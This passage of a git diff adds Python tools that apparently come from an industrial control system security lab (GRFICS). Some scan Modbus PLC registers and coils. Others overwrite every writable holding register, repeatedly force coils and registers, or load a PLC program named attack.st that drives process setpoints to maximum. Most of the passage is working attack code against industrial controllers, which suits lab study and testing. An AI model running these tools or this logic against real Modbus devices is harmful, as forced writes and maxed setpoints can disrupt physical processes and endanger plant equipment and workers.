ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, 